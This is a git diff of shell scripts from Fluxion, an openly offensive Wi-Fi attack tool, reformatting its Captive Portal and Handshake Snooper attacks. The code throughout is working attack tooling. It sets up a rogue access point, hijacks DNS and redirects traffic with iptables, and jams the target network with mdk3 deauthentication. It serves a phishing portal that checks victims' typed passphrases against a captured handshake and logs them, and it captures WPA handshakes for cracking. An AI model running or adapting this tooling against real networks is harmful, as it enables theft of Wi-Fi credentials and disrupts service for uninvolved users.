\"http://captive.gateway.lan/\", ) } -" >> "$FLUXIONWorkspacePath/lighttpd.conf" - fi +" >>"$FLUXIONWorkspacePath/lighttpd.conf" + fi - # Create a DNS service with python, forwarding all traffic to gateway. - echo "\ + # Create a DNS service with python, forwarding all traffic to gateway. + echo "\ import socket class DNSQuery: @@ -564,12 +594,12 @@ if __name__ == '__main__': except KeyboardInterrupt: print 'Finalizando' udps.close()\ -" > "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" +" >"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" - chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" + chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" - # Attack arbiter script - echo "\ + # Attack arbiter script + echo "\ #!/bin/bash function signal_stop_attack() { @@ -652,10 +682,10 @@ while [ \$AuthenticatorState = \"running\" ]; do echo -n > \"$FLUXIONWorkspacePath/ip_hits\" fi -" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" +" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - if [ $APRogueAuthMode = "hash" ]; then - echo " + if [ $APRogueAuthMode = "hash" ]; then + echo " if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then # Check if we've got the correct password by looking for anything other than \"Passphrase not in\". if ! aircrack-ng -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$FLUXIONWorkspacePath/${APTargetSSIDClean//\"/\\\"}-$APTargetMAC.cap\" | grep -qi \"Passphrase not in\"; then @@ -668,11 +698,11 @@ while [ \$AuthenticatorState = \"running\" ]; do echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" fi - fi" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - fi + fi" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + fi - local staticSSID=$(printf "%q" "$APTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g") - echo " + local staticSSID=$(printf "%q" "$APTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g") + echo " DHCPClients=($(nmap -PR -sn -n -oG - $VIGWNetwork.100-110 2>&1 | grep Host)) echo @@ -709,15 +739,14 @@ while [ \$AuthenticatorState = \"running\" ]; do echo -e \" $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\" done - echo -ne \"\033[K\033[u\"" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + echo -ne \"\033[K\033[u\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + if [ $APRogueAuthMode = "hash" ]; then + echo " + sleep 1" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + fi - if [ $APRogueAuthMode = "hash" ]; then - echo " - sleep 1" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - fi - - echo " + echo " done if [ \$AuthenticatorState = \"aborted\" ]; then exit 1; fi @@ -741,29 +770,29 @@ Time: \$ih\$h:\$im\$m:\$is\$s Password: \$(cat $FLUXIONWorkspacePath/candidate.txt) Mac: $(captive_portal_get_IP_MAC) ($(captive_portal_get_MAC_brand)) IP: $(captive_portal_get_client_IP) -\" >\"$CaptivePortalNetLog/${APTargetSSIDClean//\"/\\\"}-$APTargetMAC.log\"" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" +\" >\"$CaptivePortalNetLog/${APTargetSSIDClean//\"/\\\"}-$APTargetMAC.log\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - if [ $APRogueAuthMode = "hash" ]; then - echo " + if [ $APRogueAuthMode = "hash" ]; then + echo " aircrack-ng -a 2 -b $APTargetMAC -0 -s \"$FLUXIONWorkspacePath/${APTargetSSIDClean//\"/\\\"}-$APTargetMAC.cap\" -w \"$FLUXIONWorkspacePath/candidate.txt\" && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/${APTargetSSIDClean//\"/\\\"}-$APTargetMAC.log"$CClr"\"\ -" >> "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" - fi +" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + fi - chmod +x "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + chmod +x "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" } # Generate the contents for a generic web interface -function captive_portal_generic() { - if [ ! -d "$FLUXIONWorkspacePath/captive_portal" ]; then - mkdir "$FLUXIONWorkspacePath/captive_portal" - fi +function captive_portal_generic() { + if [ ! -d "$FLUXIONWorkspacePath/captive_portal" ]; then + mkdir "$FLUXIONWorkspacePath/captive_portal" + fi - base64 -d "$FLUXIONPath/attacks/Captive Portal/generic/assets" > "$FLUXIONWorkspacePath/file.zip" + base64 -d "$FLUXIONPath/attacks/Captive Portal/generic/assets" >"$FLUXIONWorkspacePath/file.zip" - unzip "$FLUXIONWorkspacePath/file.zip" -d "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice - sandbox_remove_workfile "$FLUXIONWorkspacePath/file.zip" + unzip "$FLUXIONWorkspacePath/file.zip" -d "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice + sandbox_remove_workfile "$FLUXIONWorkspacePath/file.zip" - echo "\ + echo "\ @@ -788,9 +817,9 @@ function captive_portal_generic() { -" > "$FLUXIONWorkspacePath/captive_portal/final.html" +" >"$FLUXIONWorkspacePath/captive_portal/final.html" - echo "\ + echo "\ @@ -818,9 +847,9 @@ function captive_portal_generic() { -" > "$FLUXIONWorkspacePath/captive_portal/error.html" +" >"$FLUXIONWorkspacePath/captive_portal/error.html" - echo "\ + echo "\ @@ -875,208 +904,218 @@ function captive_portal_generic() { }); -" > "$FLUXIONWorkspacePath/captive_portal/index.html" +" >"$FLUXIONWorkspacePath/captive_portal/index.html" } function captive_portal_unset_routes() { - if [ -f "$FLUXIONWorkspacePath/iptables-rules" ];then - iptables-restore < "$FLUXIONWorkspacePath/iptables-rules" &> $FLUXIONOutputDevice - sandbox_remove_workfile "$FLUXIONWorkspacePath/iptables-rules" - else - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - fi + if [ -f "$FLUXIONWorkspacePath/iptables-rules" ]; then + iptables-restore <"$FLUXIONWorkspacePath/iptables-rules" &>$FLUXIONOutputDevice + sandbox_remove_workfile "$FLUXIONWorkspacePath/iptables-rules" + else + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + fi - # Restore system's original forwarding state - if [ -f "$FLUXIONWorkspacePath/ip_forward" ]; then - sysctl -w net.ipv4.ip_forward=$(cat "$FLUXIONWorkspacePath/ip_forward") &> $FLUXIONOutputDevice - sandbox_remove_workfile "$FLUXIONWorkspacePath/ip_forward" - fi + # Restore system's original forwarding state + if [ -f "$FLUXIONWorkspacePath/ip_forward" ]; then + sysctl -w net.ipv4.ip_forward=$(cat "$FLUXIONWorkspacePath/ip_forward") &>$FLUXIONOutputDevice + sandbox_remove_workfile "$FLUXIONWorkspacePath/ip_forward" + fi - ip addr del $VIGWAddress/24 dev $VIGW 2> /dev/null + ip addr del $VIGWAddress/24 dev $VIGW 2>/dev/null } # Set up DHCP / WEB server # Set up DHCP / WEB server function captive_portal_set_routes() { - # Give an address to the gateway interface in the rogue network. - # This makes the interface accessible from the rogue network. - ip addr add $VIGWAddress/24 dev $VIGW + # Give an address to the gateway interface in the rogue network. + # This makes the interface accessible from the rogue network. + ip addr add $VIGWAddress/24 dev $VIGW - # Save the system's routing state to restore later. - cp "/proc/sys/net/ipv4/ip_forward" "$FLUXIONWorkspacePath/ip_forward" + # Save the system's routing state to restore later. + cp "/proc/sys/net/ipv4/ip_forward" "$FLUXIONWorkspacePath/ip_forward" - # Activate system IPV4 packet routing/forwarding. - sysctl -w net.ipv4.ip_forward=1 &>$FLUXIONOutputDevice + # Activate system IPV4 packet routing/forwarding. + sysctl -w net.ipv4.ip_forward=1 &>$FLUXIONOutputDevice - iptables-save > "$FLUXIONWorkspacePath/iptables-rules" + iptables-save >"$FLUXIONWorkspacePath/iptables-rules" - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + iptables -P FORWARD ACCEPT - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $VIGWAddress:80 - iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $VIGWAddress:443 - iptables -A INPUT -p tcp --sport 443 -j ACCEPT - iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT - iptables -t nat -A POSTROUTING -j MASQUERADE + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $VIGWAddress:80 + iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $VIGWAddress:443 + iptables -A INPUT -p tcp --sport 443 -j ACCEPT + iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT + iptables -t nat -A POSTROUTING -j MASQUERADE } function captive_portal_stop_interface() { - captive_portal_unset_routes + captive_portal_unset_routes - if [ "$APRogueService" ] - then ap_stop - fi + if [ "$APRogueService" ]; then ap_stop + fi } function captive_portal_start_interface() { - if [ "$APRogueService" ]; then - echo -e "$FLUXIONVLine $CaptivePortalStaringAPServiceNotice" - ap_start - else - fluxion_header + if [ "$APRogueService" ]; then + echo -e "$FLUXIONVLine $CaptivePortalStaringAPServiceNotice" + ap_start + else + fluxion_header - echo -e "$FLUXIONVLine Configuration for external access point device:" - echo + echo -e "$FLUXIONVLine Configuration for external access point device:" + echo - fluxion_show_ap_info "$APRogueSSID" "OPEN" "$APTargetChannel" "$APRogueMAC" "$APTargetMaker" + fluxion_show_ap_info "$APRogueSSID" "OPEN" "$APTargetChannel" "$APRogueMAC" "$APTargetMaker" - echo -e "$FLUXIONVLine IPv4 Address: ${VIGWAddress%.*}.2/24" - echo -e "$FLUXIONVLine IPv6 Address: Disabled" - echo -e "$FLUXIONVLine DHCP Server: $VIGWAddress" - echo -e "$FLUXIONVLine DNS Server: $VIGWAddress" - echo + echo -e "$FLUXIONVLine IPv4 Address: ${VIGWAddress%.*}.2/24" + echo -e "$FLUXIONVLine IPv6 Address: Disabled" + echo -e "$FLUXIONVLine DHCP Server: $VIGWAddress" + echo -e "$FLUXIONVLine DNS Server: $VIGWAddress" + echo - echo -e "$FLUXIONVLine ${CYel}Assure external AP device is available & configured before continuing!${CClr}" - read -n1 -p "Press any key to continue... " bullshit - fi + echo -e "$FLUXIONVLine ${CYel}Assure external AP device is available & configured before continuing!${CClr}" + read -n1 -p "Press any key to continue... " bullshit + fi - echo -e "$FLUXIONVLine $CaptivePortalStaringAPRoutesNotice" - captive_portal_set_routes & - sleep 3 + echo -e "$FLUXIONVLine $CaptivePortalStaringAPRoutesNotice" + captive_portal_set_routes & + sleep 3 - fuser -n tcp -k 53 67 80 443 &> $FLUXIONOutputDevice - fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice + fuser -n tcp -k 53 67 80 443 &>$FLUXIONOutputDevice + fuser -n udp -k 53 67 80 443 &>$FLUXIONOutputDevice } function unprep_attack() { - CaptivePortalState="Not Ready" - captive_portal_unset_attack - captive_portal_unset_site - captive_portal_unset_conn - captive_portal_unset_cert - captive_portal_unset_auth - captive_portal_unset_interface + CaptivePortalState="Not Ready" + captive_portal_unset_attack + captive_portal_unset_site + captive_portal_unset_conn + captive_portal_unset_cert + captive_portal_unset_auth + captive_portal_unset_interface } function prep_attack() { - while true; do - captive_portal_set_interface; if [ $? -ne 0 ]; then break; fi - captive_portal_set_auth; if [ $? -ne 0 ]; then - captive_portal_unset_interface; continue - fi - captive_portal_set_cert; if [ $? -ne 0 ]; then - captive_portal_unset_auth; continue - fi - captive_portal_set_conn; if [ $? -ne 0 ]; then - captive_portal_unset_cert; continue - fi - captive_portal_set_site; if [ $? -ne 0 ]; then - captive_portal_unset_conn; continue - fi - captive_portal_set_attack; if [ $? -ne 0 ]; then - captive_portal_unset_site; continue - fi - CaptivePortalState="Ready" - break - done + while true; do + captive_portal_set_interface + if [ $? -ne 0 ]; then break; fi + captive_portal_set_auth + if [ $? -ne 0 ]; then + captive_portal_unset_interface + continue + fi + captive_portal_set_cert + if [ $? -ne 0 ]; then + captive_portal_unset_auth + continue + fi + captive_portal_set_conn + if [ $? -ne 0 ]; then + captive_portal_unset_cert + continue + fi + captive_portal_set_site + if [ $? -ne 0 ]; then + captive_portal_unset_conn + continue + fi + captive_portal_set_attack + if [ $? -ne 0 ]; then + captive_portal_unset_site + continue + fi + CaptivePortalState="Ready" + break + done - # Check for prep abortion. - if [ "$CaptivePortalState" != "Ready" ]; then - unprep_attack - return 1; - fi + # Check for prep abortion. + if [ "$CaptivePortalState" != "Ready" ]; then + unprep_attack + return 1 + fi } function stop_attack() { - # Attempt to find PIDs of any running authenticators. - local authenticatorPID=$(ps a | grep -vE "xterm|grep" | grep captive_portal_authenticator.sh | awk '{print $1}') + # Attempt to find PIDs of any running authenticators. + local authenticatorPID=$(ps a | grep -vE "xterm|grep" | grep captive_portal_authenticator.sh | awk '{print $1}') - # Signal any authenticator to stop authentication loop. - if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi + # Signal any authenticator to stop authentication loop. + if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi - if [ "$CaptivePortalJammerServiceXtermPID" ]; then - kill $(pgrep -P $CaptivePortalJammerServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice - CaptivePortalJammerServiceXtermPID="" # Clear parent PID - fi - sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst" + if [ "$CaptivePortalJammerServiceXtermPID" ]; then + kill $(pgrep -P $CaptivePortalJammerServiceXtermPID 2>$FLUXIONOutputDevice) &>$FLUXIONOutputDevice + CaptivePortalJammerServiceXtermPID="" # Clear parent PID + fi + sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst" - # Kill captive portal web server log viewer. - if [ "$CaptivePortalWebServiceXtermPID" ]; then - kill $CaptivePortalWebServiceXtermPID &> $FLUXIONOutputDevice - CaptivePortalWebServiceXtermPID="" # Clear service PID - fi + # Kill captive portal web server log viewer. + if [ "$CaptivePortalWebServiceXtermPID" ]; then + kill $CaptivePortalWebServiceXtermPID &>$FLUXIONOutputDevice + CaptivePortalWebServiceXtermPID="" # Clear service PID + fi - # Kill captive portal web server. - if [ "$CaptivePortalWebServicePID" ]; then - kill $CaptivePortalWebServicePID &> $FLUXIONOutputDevice - CaptivePortalWebServicePID="" # Clear service PID - fi + # Kill captive portal web server. + if [ "$CaptivePortalWebServicePID" ]; then + kill $CaptivePortalWebServicePID &>$FLUXIONOutputDevice + CaptivePortalWebServicePID="" # Clear service PID + fi - # Kill python DNS service if one is found. - if [ "$CaptivePortalDNSServiceXtermPID" ]; then - kill $(pgrep -P $CaptivePortalDNSServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice - CaptivePortalDNSServiceXtermPID="" # Clear parent PID - fi + # Kill python DNS service if one is found. + if [ "$CaptivePortalDNSServiceXtermPID" ]; then + kill $(pgrep -P $CaptivePortalDNSServiceXtermPID 2>$FLUXIONOutputDevice) &>$FLUXIONOutputDevice + CaptivePortalDNSServiceXtermPID="" # Clear parent PID + fi - # Kill DHCP service. - if [ "$CaptivePortalDHCPServiceXtermPID" ]; then - kill $(pgrep -P $CaptivePortalDHCPServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice - CaptivePortalDHCPServiceXtermPID="" # Clear parent PID - fi - sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt" + # Kill DHCP service. + if [ "$CaptivePortalDHCPServiceXtermPID" ]; then + kill $(pgrep -P $CaptivePortalDHCPServiceXtermPID 2>$FLUXIONOutputDevice) &>$FLUXIONOutputDevice + CaptivePortalDHCPServiceXtermPID="" # Clear parent PID + fi + sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt" - captive_portal_stop_interface + captive_portal_stop_interface - CaptivePortalState="Stopped" + CaptivePortalState="Stopped" } function start_attack() { - if [ "$CaptivePortalState" = "Running" ]; then return 0; fi - if [ "$CaptivePortalState" != "Ready" ]; then return 1; fi - CaptivePortalState="Running" + if [ "$CaptivePortalState" = "Running" ]; then return 0; fi + if [ "$CaptivePortalState" != "Ready" ]; then return 1; fi + CaptivePortalState="Running" - stop_attack + stop_attack - captive_portal_start_interface + captive_portal_start_interface - echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice" - xterm $FLUXIONHoldXterm $TOPLEFT -bg black -fg "#CCCC00" -title "FLUXION AP DHCP Service" -e "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $VIGW 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" & - CaptivePortalDHCPServiceXtermPID=$! # Save parent's pid, to get to child later. + echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice" + xterm $FLUXIONHoldXterm $TOPLEFT -bg black -fg "#CCCC00" -title "FLUXION AP DHCP Service" -e "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $VIGW 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" & + CaptivePortalDHCPServiceXtermPID=$! # Save parent's pid, to get to child later. - echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice" - xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" & - CaptivePortalDNSServiceXtermPID=$! # Save parent's pid, to get to child later. + echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice" + xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" & + CaptivePortalDNSServiceXtermPID=$! # Save parent's pid, to get to child later. - echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice" - lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &> $FLUXIONOutputDevice - CaptivePortalWebServicePID=$! + echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice" + lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &>$FLUXIONOutputDevice + CaptivePortalWebServicePID=$! - xterm $FLUXIONHoldXterm $BOTTOM -bg black -fg "#00CC00" -title "FLUXION Web Service" -e "tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" & - CaptivePortalWebServiceXtermPID=$! + xterm $FLUXIONHoldXterm $BOTTOM -bg black -fg "#00CC00" -title "FLUXION Web Service" -e "tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" & + CaptivePortalWebServiceXtermPID=$! - echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" - echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3_blacklist.lst" - xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" -title "FLUXION AP Jammer Service [$APTargetSSID]" -e "mdk3 $WIMonitor d -c $APTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & - CaptivePortalJammerServiceXtermPID=$! # Save parent's pid, to get to child later. + echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" + echo -e "$APTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst" + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" -title "FLUXION AP Jammer Service [$APTargetSSID]" -e "mdk3 $WIMonitor d -c $APTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & + CaptivePortalJammerServiceXtermPID=$! # Save parent's pid, to get to child later. - echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" - xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" & + echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" + xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" & } diff --git a/attacks/Handshake Snooper/attack.sh b/attacks/Handshake Snooper/attack.sh index 3107b73..84c39a3 100755 --- a/attacks/Handshake Snooper/attack.sh +++ b/attacks/Handshake Snooper/attack.sh @@ -6,286 +6,299 @@ HandshakeSnooperState="Not Ready" ################################# < Handshake Snooper > ################################ function handshake_snooper_arbiter_daemon() { - if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then return 1; fi + if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then return 1; fi - # Start daemon in the running state to continue execution until aborted, - # or until a hash has been verified to exist in the capture file. - # NOTE: The line below must remain before trap to prevent race conditions. - local handshake_snooper_arbiter_daemon_state="running" + # Start daemon in the running state to continue execution until aborted, + # or until a hash has been verified to exist in the capture file. + # NOTE: The line below must remain before trap to prevent race conditions. + local handshake_snooper_arbiter_daemon_state="running" - function handshake_snooper_arbiter_daemon_abort() { - handshake_snooper_arbiter_daemon_state="aborted" - if [ "$handshake_snooper_arbiter_daemon_viewerPID" ] - then kill $handshake_snooper_arbiter_daemon_viewerPID - fi + function handshake_snooper_arbiter_daemon_abort() { + handshake_snooper_arbiter_daemon_state="aborted" + if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then kill $handshake_snooper_arbiter_daemon_viewerPID + fi - handshake_snooper_stop_deauthenticator - handshake_snooper_stop_captor + handshake_snooper_stop_deauthenticator + handshake_snooper_stop_captor - echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >> "$FLUXIONWorkspacePath/handshake_snooper.log" - exit 2 - } + echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >>"$FLUXIONWorkspacePath/handshake_snooper.log" + exit 2 + } - trap handshake_snooper_arbiter_daemon_abort SIGABRT + trap handshake_snooper_arbiter_daemon_abort SIGABRT - source lib/HashUtils.sh - source lib/ColorUtils.sh + source lib/HashUtils.sh + source lib/ColorUtils.sh - # Cleanup files we've previously created to avoid conflicts. - sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*" + # Cleanup files we've previously created to avoid conflicts. + sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*" - # Display some feedback to the user to assure verifier is working. - xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Arbiter Log" -e "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" & - local handshake_snooper_arbiter_daemon_viewerPID=$! + # Display some feedback to the user to assure verifier is working. + xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Arbiter Log" -e "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" & + local handshake_snooper_arbiter_daemon_viewerPID=$! - echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" > "$FLUXIONWorkspacePath/handshake_snooper.log" + echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" >"$FLUXIONWorkspacePath/handshake_snooper.log" - handshake_snooper_start_captor - handshake_snooper_start_deauthenticator + handshake_snooper_start_captor + handshake_snooper_start_deauthenticator - local handshake_snooper_arbiter_daemon_verified=1 # Assume it hasn't been verified yet (1 => false/error). + local handshake_snooper_arbiter_daemon_verified=1 # Assume it hasn't been verified yet (1 => false/error). - # Keep snooping and verifying until we've got a valid hash from the capture file. - while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do - echo -e "[$(env -i date '+%H:%M:%S')] `io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice`" >> "$FLUXIONWorkspacePath/handshake_snooper.log" - sleep $HANDSHAKEVerifierInterval & wait $! # Using wait to asynchronously catch flags while waiting. + # Keep snooping and verifying until we've got a valid hash from the capture file. + while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do + echo -e "[$(env -i date '+%H:%M:%S')] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >>"$FLUXIONWorkspacePath/handshake_snooper.log" + sleep $HANDSHAKEVerifierInterval & + wait $! # Using wait to asynchronously catch flags while waiting. - # If synchronously searching, stop the captor and deauthenticator before checking. - if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then - echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >> "$FLUXIONWorkspacePath/handshake_snooper.log" - handshake_snooper_stop_deauthenticator - handshake_snooper_stop_captor - mv "$FLUXIONWorkspacePath/capture/dump-01.cap" "$FLUXIONWorkspacePath/capture/recent.cap" - else - pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> $FLUXIONOutputDevice - fi + # If synchronously searching, stop the captor and deauthenticator before checking. + if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then + echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log" + handshake_snooper_stop_deauthenticator + handshake_snooper_stop_captor + mv "$FLUXIONWorkspacePath/capture/dump-01.cap" "$FLUXIONWorkspacePath/capture/recent.cap" + else + pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &>$FLUXIONOutputDevice + fi - echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >> "$FLUXIONWorkspacePath/handshake_snooper.log" - hash_check_handshake "$HANDSHAKEVerifierIdentifier" "$FLUXIONWorkspacePath/capture/recent.cap" "$APTargetSSID" "$APTargetMAC" - handshake_snooper_arbiter_daemon_verified=$? + echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log" + hash_check_handshake "$HANDSHAKEVerifierIdentifier" "$FLUXIONWorkspacePath/capture/recent.cap" "$APTargetSSID" "$APTargetMAC" + handshake_snooper_arbiter_daemon_verified=$? - # If synchronously searching, restart the captor and deauthenticator after checking. - if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then - sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*" + # If synchronously searching, restart the captor and deauthenticator after checking. + if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then + sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*" - handshake_snooper_start_captor - handshake_snooper_start_deauthenticator - fi - done + handshake_snooper_start_captor + handshake_snooper_start_deauthenticator + fi + done - # Assure all processes are stopped before proceeding. - handshake_snooper_stop_deauthenticator - handshake_snooper_stop_captor + # Assure all processes are stopped before proceeding. + handshake_snooper_stop_deauthenticator + handshake_snooper_stop_captor - local completionTime=$(env -i date '+%H:%M:%S') - echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >> "$FLUXIONWorkspacePath/handshake_snooper.log" - echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >> "$FLUXIONWorkspacePath/handshake_snooper.log" + local completionTime=$(env -i date '+%H:%M:%S') + echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log" + echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >>"$FLUXIONWorkspacePath/handshake_snooper.log" - # Assure we've got a directory to store hashes into. - mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/" + # Assure we've got a directory to store hashes into. + mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/" - # Move handshake to storage if one was acquired. - mv "$FLUXIONWorkspacePath/capture/recent.cap" "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap" + # Move handshake to storage if one was acquired. + mv "$FLUXIONWorkspacePath/capture/recent.cap" "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap" - # Signal parent process the verification terminated. - kill -s SIGABRT $1 + # Signal parent process the verification terminated. + kill -s SIGABRT $1 } function handshake_snooper_stop_captor() { - if [ "$HANDSHAKECaptorPID" ] - then kill -s SIGINT $HANDSHAKECaptorPID &> $FLUXIONOutputDevice - fi + if [ "$HANDSHAKECaptorPID" ]; then kill -s SIGINT $HANDSHAKECaptorPID &>$FLUXIONOutputDevice + fi - HANDSHAKECaptorPID="" + HANDSHAKECaptorPID="" } function handshake_snooper_start_captor() { - if [ "$HANDSHAKECaptorPID" ]; then return 0; fi - if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi + if [ "$HANDSHAKECaptorPID" ]; then return 0; fi + if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi - handshake_snooper_stop_captor + handshake_snooper_stop_captor - 